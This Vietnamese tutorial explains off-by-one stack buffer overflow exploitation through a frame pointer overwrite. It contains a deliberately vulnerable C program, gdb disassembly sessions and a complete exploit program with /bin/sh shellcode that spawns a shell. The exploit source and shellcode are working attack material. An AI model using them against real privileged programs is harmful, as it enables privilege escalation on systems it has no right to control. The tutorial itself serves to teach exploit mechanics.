Làm tràn bộ đệm bằng 1 byte

Làm tràn bộ đệm bằng 1 byte trang này đã được đọc  lần  Giới thiệu Bộ đệm chương trình có thể bị làm tràn, ghi đè lên các dữ liệu quan trọng lưu trên vùng  nhớ của tiến trình và từ đó chúng ta có thể đổi hướng thực thi của nó. Điều này không có  gì mới. Bài viết này không đề cập nhiều đến việc làm thế nào để khai thác lỗi tràn bộ  đệm, cũng như không dành để giải thích về lỗi này. Nó chỉ để làm rõ rằng có thể khai  thác lỗi tràn bộ đệm kể cả trong những điều kiện xấu nhất, chẳng hạn bộ đệm chỉ có thể  bị làm tràn bởi một byte. Có nhiều kỹ thuật kỳ bí với mục đích khai thác các tiến trình có  đặc quyền trong những tình huống khó khăn nhất, kể cả khi đặc quyền của tiến trình đã  bị tước bỏ. Chúng ta sẽ chỉ đề cập đến tràn bộ đệm một byte trong bài viết này. Mục tiêu tấn công Hãy viết một chương trình suid giả bị lỗi, chúng ta sẽ đặt tên là "suid". Chương trình sẽ được viết sao cho bị tràn bộ đệm chỉ một byte duy nhất. ipdev:~/tests$ cat > suid.c #include  func(char *sm) { char buffer[256]; int i; for(i=0;i<=256;i++) buffer[i]=sm[i]; } main(int argc, char *argv[]) { if (argc < 2) { printf("missing args\n"); exit(­1); } func(argv[1]); } ^D ipdev:~/tests$ gcc suid.c ­o suid ipdev:~/tests$ Như đã thấy, chúng ta không có nhiều khoảng trống để khai thác chương trình này. Thực  sự là tràn bộ đệm cũng chỉ bị gây ra bởi một byte vượt ngoài kích thước vùng lưu trữ của  bộ đệm. Chúng ta sẽ phải sử dụng byte này một cách thật khéo léo. Trước khi khai thác  lỗi, chúng ta nên xem qua byte này sẽ thực sự ghi đè lên những gì (bạn có thể đã biết  điều đó). Hãy tập hợp những thông tin trên stack bằng gdb vào lúc tràn bộ đệm xảy ra. ipdev:~/tests$ gdb ./suid ... (gdb) disassemble func Dump of assembler code for function func: 0x8048134 : pushl %ebp 0x8048135 : movl %esp,%ebp 0x8048137 : subl $0x104,%esp 0x804813d : nop 0x804813e : movl $0x0,0xfffffefc(%ebp) 0x8048148 : cmpl $0x100,0xfffffefc(%ebp) 0x8048152 : jle 0x8048158  0x8048154 : jmp 0x804817c  0x8048156 : leal (%esi),%esi 0x8048158 : leal 0xffffff00(%ebp),%edx 0x804815e : movl %edx,%eax 0x8048160 : addl 0xfffffefc(%ebp),%eax 0x8048166 : movl 0x8(%ebp),%edx 0x8048169 : addl 0xfffffefc(%ebp),%edx 0x804816f : movb (%edx),%cl 0x8048171 : movb %cl,(%eax) 0x8048173 : incl 0xfffffefc(%ebp) 0x8048179 : jmp 0x8048148  0x804817b : nop 0x804817c : movl %ebp,%esp 0x804817e : popl %ebp 0x804817f : ret End of assembler dump. (gdb) Chúng ta đã biết, bộ xử lý (processor) sẽ push %eip lên stack trước tiên ngay khi thực  hiện chỉ thị CALL. Tiếp theo, chương trình sẽ push %ebp lên kế đó như đã thấy ở địa chỉ  *0x8048134. Cuối cùng, nó sẽ kích hoạt bản ghi cục bộ (local frame) bằng cách giảm  %esp đi 0x104 (260) byte. Điều này có nghĩa các biến cục bộ sẽ có độ lớn 0x104 byte  (0x100 cho biến chuỗi và 0x004 cho biến integer). Lưu ý rằng các biến lưu trên stack  theo đơn vị word có độ dài 4 byte, vì vậy bộ đệm 255 byte sẽ thực sự chiếm vùng lưu trữ  256 byte. Bây giờ chúng ta sẽ xem nội dung stack có gì trước khi tràn bộ đệm xảy ra: saved_eip saved_ebp char buffer[255] char buffer[254] ... char buffer[000] int i Điều này có nghĩa byte bị làm tràn sẽ ghi đè lên giá trị con trỏ frame bảo lưu (saved  frame pointer) đã được push lên stack ở đầu hàm func(). Nhưng làm thế nào byte này có  thể được dùng để đổi hướng thực thi của chương trình? Hãy xem điều gì xảy ra với bản  lưu của %ebp. Chúng ta đã biết rằng nó sẽ được phục hồi giá trị ở cuối hàm func(), như  đã thấy ở địa chỉ *0x804817e. Những tiếp theo sẽ là gì? (gdb) disassemble main Dump of assembler code for function main: 0x8048180 : pushl %ebp 0x8048181 : movl %esp,%ebp 0x8048183 : cmpl $0x1,0x8(%ebp) 0x8048187 : jg 0x80481a0  0x8048189 : pushl $0x8058ad8 0x804818e : call 0x80481b8  0x8048193 : addl $0x4,%esp 0x8048196 : pushl $0xffffffff 0x8048198 : call 0x804d598  0x804819d : addl $0x4,%esp 0x80481a0 : movl 0xc(%ebp),%eax 0x80481a3 : addl $0x4,%eax 0x80481a6 : movl (%eax),%edx 0x80481a8 : pushl %edx 0x80481a9 : call 0x8048134  0x80481ae : addl $0x4,%esp 0x80481b1 : movl %ebp,%esp 0x80481b3 : popl %ebp 0x80481b4 : ret 0x80481b5 : nop 0x80481b6 : nop 0x80481b7 : nop End of assembler dump. (gdb) Tuyệt vời! Sau khi hàm func() được gọi, ở cuối hàm main(), %ebp sẽ được phục hồi giá  trị vào %esp, như đã thấy ở địa chỉ *0x80481b1. Điều này có nghĩa chúng ta có thể đặt  vào %esp một giá trị tuỳ ý. Nhưng nhớ rằng, giá trị tuỳ ý này không "thực sự" là tuỳ ý vì  bạn chỉ có thể thay đổi một byte cuối cùng của %esp. Hãy kiểm tra xem chúng ta có  đúng không. (gdb) disassemble main Dump of assembler code for function main: 0x8048180 : pushl %ebp 0x8048181 : movl %esp,%ebp 0x8048183 : cmpl $0x1,0x8(%ebp) 0x8048187 : jg 0x80481a0  0x8048189 : pushl $0x8058ad8 0x804818e : call 0x80481b8  0x8048193 : addl $0x4,%esp 0x8048196 : pushl $0xffffffff 0x8048198 : call 0x804d598  0x804819d : addl $0x4,%esp 0x80481a0 : movl 0xc(%ebp),%eax 0x80481a3 : addl $0x4,%eax 0x80481a6 : movl (%eax),%edx 0x80481a8 : pushl %edx 0x80481a9 : call 0x8048134  0x80481ae : addl $0x4,%esp 0x80481b1 : movl %ebp,%esp 0x80481b3 : popl %ebp 0x80481b4 : ret 0x80481b5 : nop 0x80481b6 : nop 0x80481b7 : nop End of assembler dump. (gdb) break *0x80481b4 Breakpoint 2 at 0x80481b4 (gdb) run `overflow 257` Starting program: /home/klog/tests/suid `overflow 257` Breakpoint 2, 0x80481b4 in main () (gdb) info register esp esp 0xbffffd45 0xbffffd45 (gdb) Chúng ta đã đúng. Sau khi làm tràn bộ đệm bằng một ký tự 'A' (0x41), giá trị %ebp được chuyển vào %esp, và được tăng lên thêm 4 vì %ebp được pop ra khỏi stack ngay trước chỉ thị RET. Điều này cho ta kết quả 0xbffffd41 + 0x4 = 0xbffffd45. Chuẩn bị Thay đổi con trỏ stack sẽ cho chúng ta điều gì? Chúng ta không thể thay đổi giá trị của  thanh ghi con trỏ bảo lưu (saved %eip) một cách trực tiếp giống như trong các khai thác  lỗi tràn bộ đệm kinh điển, nhưng chúng ta có thể khiến bộ xử lý nghĩ rằng giá trị của nó  trỏ đến nơi khác. Khi bộ xử lý trở về (return) tự một thủ tục, nó chỉ pop giá trị word đầu  tiên trên stack, xem nó là giá trị %eip cũ. Nhưng nếu chúng ta thay đổi giá trị của %esp,  chúng ta có thể khiến bộ xử lý pop một giá trị bất kỳ trên stack và xem đó như là %eip,  và vì thế đổi hướng thực thi của chương trình. Hãy làm tràn bộ đệm với chuỗi có dạng  sau: [nops][shellcode][&shellcode][%ebp_altering_byte] Để làm được điều này, trước chúng ta nên xác định giá trị mà chúng ta muốn thay đổi  %ebp thành (từ đó thay đổi %esp). Hãy xem nội dung trên stack có gì khi tràn bộ đệm  xảy ra: saved_eip saved_ebp (altered by 1 byte)  &shellcode \ shellcode | char buffer  nops / int i Ở đây, chúng ta muốn %esp trỏ đến &shellcode để địa chỉ của shellcode sẽ được pop  vào %eip khi bộ xử lý trở về từ hàm main(). Bây giờ chúng ta đã có đầy đủ những kiến  thức cần thiết để khai thác chương trình bị lỗi, chúng ta cần trích thông tin chính xác từ  tiến trình đang thực thi trong ngữ cảnh nó sẽ xảy ra khi bị khai thác. Thông tin này gồm  địa chỉ của bộ đệm bị làm tràn và địa chỉ của con trỏ đến bộ đệm của chúng ta  (&shellcode). Hãy chạy chương trình như thể chúng ta muốn nó bị làm tràn bởi chuỗi  nhập có chiều dài 257 byte. Để làm được điều này, chúng ta phải viết một chương trình  khai thác giả để tái tạo ngữ cảnh mà chúng ta sẽ tiến hành khai thác tiến trình bị lỗi. (gdb) q ipdev:~/tests$ cat > fake_exp.c #include  #include  main() { int i; char buffer[1024]; bzero(&buffer, 1024); for (i=0;i<=256;i++)  { buffer[i] = 'A'; } execl("./suid", "suid", buffer, NULL); } ^D ipdev:~/tests$ gcc fake_exp.c ­o fake_exp ipdev:~/tests$ gdb ­­exec=fake_exp ­­symbols=suid ... (gdb) run Starting program: /home/klog/tests/exp2 Program received signal SIGTRAP, Trace/breakpoint trap. 0x8048090 in ___crt_dummy__ () (gdb) disassemble func Dump of assembler code for function func: 0x8048134 : pushl %ebp 0x8048135 : movl %esp,%ebp 0x8048137 : subl $0x104,%esp 0x804813d : nop 0x804813e : movl $0x0,0xfffffefc(%ebp) 0x8048148 : cmpl $0x100,0xfffffefc(%ebp) 0x8048152 : jle 0x8048158  0x8048154 : jmp 0x804817c  0x8048156 : leal (%esi),%esi 0x8048158 : leal 0xffffff00(%ebp),%edx 0x804815e : movl %edx,%eax 0x8048160 : addl 0xfffffefc(%ebp),%eax 0x8048166 : movl 0x8(%ebp),%edx 0x8048169 : addl 0xfffffefc(%ebp),%edx 0x804816f : movb (%edx),%cl 0x8048171 : movb %cl,(%eax) 0x8048173 : incl 0xfffffefc(%ebp) 0x8048179 : jmp 0x8048148  0x804817b : nop 0x804817c : movl %ebp,%esp 0x804817e : popl %ebp 0x804817f : ret End of assembler dump. (gdb) break *0x804813d Breakpoint 1 at 0x804813d (gdb) c Continuing. Breakpoint 1, 0x804813d in func () (gdb) info register esp esp 0xbffffc60 0xbffffc60 (gdb) Bây giờ chúng ta đã có giá trị của %esp ngay sau khi bản ghi của hàm func() được kích  hoạt. Từ giá trị này chúng ta có thể dự đoán bộ đệm của chúng ta sẽ được cấp phát ở địa  chỉ 0xbffffc60 + 0x04 (size of 'int i') =0xbffffc64, và con trỏ đến vùng shellcode của chúng  ta sẽ được đặt ở địa chỉ 0xbffffc64 + 0x100 (size of 'char buffer[256]') ­ 0x04 (size of our  pointer) = 0xbffffd60.  Viết chương trình tấn công Có những giá trị này sẽ cho phép chúng ta viết phiên bản đầy đủ của chương trình khai  thác lỗi, có cả shellcode, con trỏ đến shellcode và giá trị byte bị ghi đè. Giá trị chúng ta  cần ghi đè lên byte cuối cùng của %ebp bảo lưu sẽ là 0x60 ­ 0x04 = 0x5c, vì nhớ lại rằng  chúng ta sẽ pop %ebp ngay trước khi trở về từ hàm main(). 4 byte này sẽ bù cho giá trị  %ebp đã bị lấy ra khỏi stack. Đối với con trỏ đến vùng shellcode của chúng ta, chúng ta  không cần nó phải trỏ đến địa chỉ chính xác. Tất cả những gì chúng ta cần là khiến bộ  xử lý trở về địa chỉ vào khoảng giữa các chỉ thị NOP ở phần đầu của bộ đệm bị làm tràn  (0xbffffc64) và shellcode của chúng ta (0xbffffc64 ­ sizeof(shellcode)), giống như khi thực hiện tràn bộ đệm thông thường. Chẳng hạn ta sử  dụng địa chỉ 0xbffffc74. ipdev:~/tests$ cat > exp.c #include  #include  char sc_linux[] = "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07" "\x89\x56\x0f\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12" "\x8d\x4e\x0b\x8b\xd1\xcd\x80\x33\xc0\x40\xcd\x80\xe8" "\xd7\xff\xff\xff/bin/sh"; main() { int i, j; char buffer[1024]; bzero(&buffer, 1024); for (i=0;i<=(252­sizeof(sc_linux));i++) { buffer[i] = 0x90; } for (j=0,i=i;j<(sizeof(sc_linux)­1);i++,j++) { buffer[i] = sc_linux[j]; } buffer[i++] = 0x74; /* Address of our buffer */ buffer[i++] = 0xfc;  buffer[i++] = 0xff;  buffer[i++] = 0xbf;  buffer[i++] = 0x5c; execl("./suid", "suid", buffer, NULL); } ^D ipdev:~/tests$ gcc exp.c ­o exp ipdev:~/tests$ ./exp bash$ Tuyệt! Hãy xem xét kỹ hơn điều gì đã xảy ra. Mặc dù chúng ta đã xây dựng chương trình  khai thác lỗi dựa trên lý thuyết tôi đã trình bày ở đây, sẽ rất thú vị nếu chúng ta xem xét  tất cả mọi thứ đã gắn kết lại với nhau như thế nào. Bạn có thể không cần đọc đoạn này  nếu bạn hiểu rõ tất cả những gì đã giải thích ở trên, và có thể bắt đầu tìm kiếm những lỗ  hổng trong thực tế. ipdev:~/tests$ gdb ­­exec=exp ­­symbols=suid ... (gdb) run Starting program: /home/klog/tests/exp Program received signal SIGTRAP, Trace/breakpoint trap. 0x8048090 in ___crt_dummy__ () (gdb) Trước tiên hãy đặt vài điểm dừng (breakpoint) để theo dõi quá trình khai thác lỗi chương  trình "suid" một cách kỹ lưỡng những gì diễn ra. Chúng ta sẽ lần theo giá trị chúng ta đã  ghi đè lên con trỏ frame cho đến khi đoạn shellcode của chúng ta được thực thi. (gdb) disassemble func Dump of assembler code for function func: 0x8048134 : pushl %ebp 0x8048135 : movl %esp,%ebp 0x8048137 : subl $0x104,%esp 0x804813d : nop 0x804813e : movl $0x0,0xfffffefc(%ebp) 0x8048148 : cmpl $0x100,0xfffffefc(%ebp) 0x8048152 : jle 0x8048158  0x8048154 : jmp 0x804817c  0x8048156 : leal (%esi),%esi  0x8048158 : leal 0xffffff00(%ebp),%edx 0x804815e : movl %edx,%eax 0x8048160 : addl 0xfffffefc(%ebp),%eax 0x8048166 : movl 0x8(%ebp),%edx 0x8048169 : addl 0xfffffefc(%ebp),%edx 0x804816f : movb (%edx),%cl 0x8048171 : movb %cl,(%eax) 0x8048173 : incl 0xfffffefc(%ebp) 0x8048179 : jmp 0x8048148  0x804817b : nop 0x804817c : movl %ebp,%esp 0x804817e : popl %ebp 0x804817f : ret End of assembler dump. (gdb) break *0x804817e Breakpoint 1 at 0x804817e (gdb) break *0x804817f Breakpoint 2 at 0x804817f (gdb) Điểm dừng đầu tiên cho phép chúng ta theo dõi nội dung của %ebp trước và sau khi bị  pop ra khỏi stack. Những giá trị này sẽ tương ứng với giá trị nguyên thuỷ và giá trị đã bị  ghi đè. (gdb) disassemble main Dump of assembler code for function main: 0x8048180 : pushl %ebp 0x8048181 : movl %esp,%ebp 0x8048183 : cmpl $0x1,0x8(%ebp) 0x8048187 : jg 0x80481a0  0x8048189 : pushl $0x8058ad8 0x804818e : call 0x80481b8  0x8048193 : addl $0x4,%esp 0x8048196 : pushl $0xffffffff 0x8048198 : call 0x804d598  0x804819d : addl $0x4,%esp 0x80481a0 : movl 0xc(%ebp),%eax 0x80481a3 : addl $0x4,%eax 0x80481a6 : movl (%eax),%edx 0x80481a8 : pushl %edx 0x80481a9 : call 0x8048134  0x80481ae : addl $0x4,%esp 0x80481b1 : movl %ebp,%esp 0x80481b3 : popl %ebp 0x80481b4 : ret 0x80481b5 : nop 0x80481b6 : nop 0x80481b7 : nop End of assembler dump. (gdb) break *0x80481b3 Breakpoint 3 at 0x80481b3 (gdb) break *0x80481b4 Breakpoint 4 at 0x80481b4 (gdb) Ở đây chúng ta muốn theo dõi việc truyền giá trị %ebp đã bị ghi đè sang cho %esp và  nội dung của %esp cho đến khi việc trở về từ hàm main() xảy ra. Hãy bắt đầu chạy  chương trình. (gdb) c Continuing. Breakpoint 1, 0x804817e in func () (gdb) info reg ebp ebp 0xbffffd64 0xbffffd64 (gdb) c Continuing. Breakpoint 2, 0x804817f in func () (gdb) info reg ebp ebp 0xbffffd5c 0xbffffd5c (gdb) c Continuing. Breakpoint 3, 0x80481b3 in main () (gdb) info reg esp esp 0xbffffd5c 0xbffffd5c (gdb) c Continuing. Breakpoint 4, 0x80481b4 in main () (gdb) info reg esp esp 0xbffffd60 0xbffffd60 (gdb) Đầu tiên, chúng ta thấy giá trị nguyên thuỷ của %ebp. Sau khi được pop ra khỏi stack,  chúng ta có thể thấy nó đã bị thay thế bởi giá trị bị ghi đè bởi byte cuối cùng của chuỗi  nhập dùng làm tràn, 0x5c. Sau đó, giá trị %ebp được chuyển sang %esp, và cuối cùng,  sau khi %ebp đã được pop ra khỏi stack một lần nữa, giá trị %esp được tăng thêm 4  byte. Cho ta giá trị cuối cùng là 0xbffffd60. Hãy xem có gì ở địa chỉ đó. (gdb) x 0xbffffd60 0xbffffd60 : 0xbffffc74 (gdb) x/10 0xbffffc74 0xbffffc74 : 0x90909090  0x90909090 0x90909090 0x90909090 0xbffffc84 : 0x90909090  0x90909090 0x90909090 0x90909090 0xbffffc94 : 0x90909090  0x90909090 (gdb) Như có thể thấy 0xbffffd60 thực sự là địa chỉ của con trỏ trỏ đến đoạn giữa các NOP  ngay trước đoạn shellcode của chúng ta. Khi bộ xử lý trở về từ hàm main(), nó sẽ pop giá  trị này vào %eip và nhảy đến chính xác địa chỉ 0xbffffc74. Lúc này shellcode của chúng  ta sẽ được thực thi. (gdb) c Continuing. Program received signal SIGTRAP, Trace/breakpoint trap. 0x40000990 in ?? () (gdb) c Continuing. bash$  Kết luận Mặc dù kỹ thuật này khá thú vị, vẫn còn một số vấn đề chưa được giải quyết.Đổi hướng  thực thi của một chương trình với chỉ một byte duy nhất của dữ liệu bị làm tràn chắc chắn  là có thể làm được, nhưng với những điều kiện nào? Một vấn đề thực tế, tái tạo ngữ cảnh  khai thác lỗi có thể là một công việc khó khăn trong một môi trường được bảo vệ hay tệ  hơn là phải thực hiện trên máy từ xa. Chúnng đòi hỏi ta cần phải đoán chính xác kích  thước stack của tiến trình muốn tấn công. Để giải quyết vấn đền này chúng ta thêm  những gì cần thiết cho bộ đệm làm tràn của chúng ta ngay kế giá trị con trỏ nền bảo lưu,  nghĩa là nó phải là biến được khai báo đầu tiên trong hàm. Không cần phải nói, sẽ cần phải lưu ý đến các giá trị đệm (padding). Và làm thế nào để tấn  công trên các kiến trúc "big endian"? Chúng ta không thể có khả năng làm gì khi chỉ có  thể ghi đè lên byte lớn nhất của con trỏ frame, trừ phi chúng ta có thể với được đến địa  chỉ đã bị thay đổi. Kết luận nghe có vẻ bi đát từ tình huống gần như không thể khai thác được này. Mặc dù  tôi sẽ rất ngạc nhiên khi nghe có ai đó đã áp dụng kỹ thuật này vào lỗi trong thực tế, có  một điều chắc chắn đối với chúng ta rằng không có vấn đề bộ đệm bị tràn nhỏ hay lớn  cũng như không có chuyện lỗ hổng nhỏ hay lớn. Mọi lỗ hổng đều có thể khai thác được,  tất cả những gì bạn cần là phải tìm ra cách làm như thế nào.